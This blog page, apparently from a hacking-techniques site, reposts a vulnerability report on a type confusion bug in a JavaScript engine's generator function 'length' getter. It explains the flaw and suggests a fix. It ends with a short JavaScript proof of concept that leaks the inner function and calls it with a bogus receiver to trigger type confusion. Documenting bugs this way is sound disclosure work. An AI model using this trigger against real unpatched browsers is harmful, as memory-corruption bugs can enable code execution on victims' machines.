Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370067

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
    if (propertyId == PropertyIds::length)
    {
        ...
        int len = 0;
        Var varLength;
        if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
        {
            len = JavascriptConversion::ToInt32(varLength, requestContext);
        }
        ...
        return true;
    }

    return false;
}

"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.

The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"

Type confusion PoC:
*/

function* f() {
}

let g;
f.__defineGetter__('length', function () {
    g = this;  // g == "scriptFunction"
});


f.length;

g.call(0x1234, 0x5678);  // type confusion